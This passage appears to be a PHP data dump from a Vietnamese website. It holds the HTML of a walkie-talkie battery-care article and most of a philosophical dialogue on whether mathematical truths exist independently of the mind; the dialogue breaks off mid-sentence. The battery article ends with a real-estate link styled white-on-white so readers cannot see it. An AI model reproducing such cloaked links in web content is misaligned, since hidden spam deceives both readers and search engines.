0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bộ sạc tiêu chuẩn</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Là bộ sạc thường, thời gian sạc dài từ 8 – 16 giờ (hoặc hơn) tùy theo từng loại pin và loại sạc.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin với bộ sạc tiêu chuẩn nếu là pin mới mua hoặc pin để lâu giờ mới đem ra sử dụng ta hãy sạc từ 12 – 16 giờ trước khi sử dụng, những lần sau đó ta chỉ nên sạc trung bình 8 - 10 giờ.</span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Những lưu ý khi sạc pin</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin bằng bộ sạc rời (tức là không phải cắm sạc qua máy như laptop) ta nên tháo pin ra khỏi máy để sạc hoặc là tắt máy đi nếu như sạc pin kèm với máy. Điều này không những giúp nâng cao hiệu suất sạc pin mà còn tránh được trường hợp pin bị “chai kỹ thuật” hoặc những tác động không mong muốn đến máy.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Nên sạc pin khi pin đã được sử dụng hết (không thể vận hành thiết bị - mở máy) nên để pin nguội trước khi sạc, sau khi sạc nên để pin thật nguội trước khi lắp vào thiết bị sử dụng. Điều này rất quan trọng đối với pin Ni-Cd vì nhiệt độ càng cao thì khả năng lưu trữ và bảo quan pin càng thấp. </span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách xả pin máy bộ đàm</span></span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Xả pin là một quy trình cần thiết cho việc nâng cao hiệu quả sử dụng pin sạc. Có rất nhiều cách xả pin như: xả pin kỹ thuật, xả pin bằng bộ sạc xả chuyên dùng, xả pin bằng thiết bị sử dụng… </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Đối với máy bộ đàm thường thì người ta dùng máy để xả pin nếu như chưa trang bị bộ sạc xả chuyên dụng. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Pin máy bộ đàm được làm từ nhiều viên pin nối kết với nhau vì vậy khi xả pin cần phải chú ý để tránh trường hợp “đảo cực”. Các viên pin không bao giờ hoàn toàn giống nhau, vì thế không tránh được tình trạng một viên sẽ bị xả hết hoàn toàn trước những viên khác. Khi điều này xảy ra, viên pin "tốt" sẽ bắt đầu "biến" viên đã xả hết đảo chiều, điều này có thể khiến viên pin đó hỏng. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách bảo quản pin máy bộ đàm</span></span><br style="user-select: text !important;" /> <br style="user-select: text !important;" /> <span style="background-color:#ffffff;">Nếu trong quá trình ta không sử dụng máy, ta nên bảo quản bằng cách sạc pin đầy và tháo pin rời thân máy trước khi bảo quản cất giữ, sau đó cứ mỗi tháng ta nên sạc lại đầy pin 01 lần. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Pin không sử dụng trong một khoảng thời gian cần phải được sạc đầy trước khi sử dụng. Cũng vì lý do này mà các pin mới cần phải trải qua vài lần sạc - xả mới có thể đạt được mức dung lượng điện công bố. </span></span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;"><span style="background-color: rgb(255, 255, 255); font-family: Arial, Verdana, sans-serif;">Chung cư Goldlight Khuất Duy Tiến</span></span></a></p> ', 'images' => '2017050808014443070999c12ebb927c696a6f2bf4ffa7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '69053', 'slug' => 'huong-dan-sac-pin-may-bo-dam-dung-ky-thuat', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '845', 'rght' => '846', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $detailNews = array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> </div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương 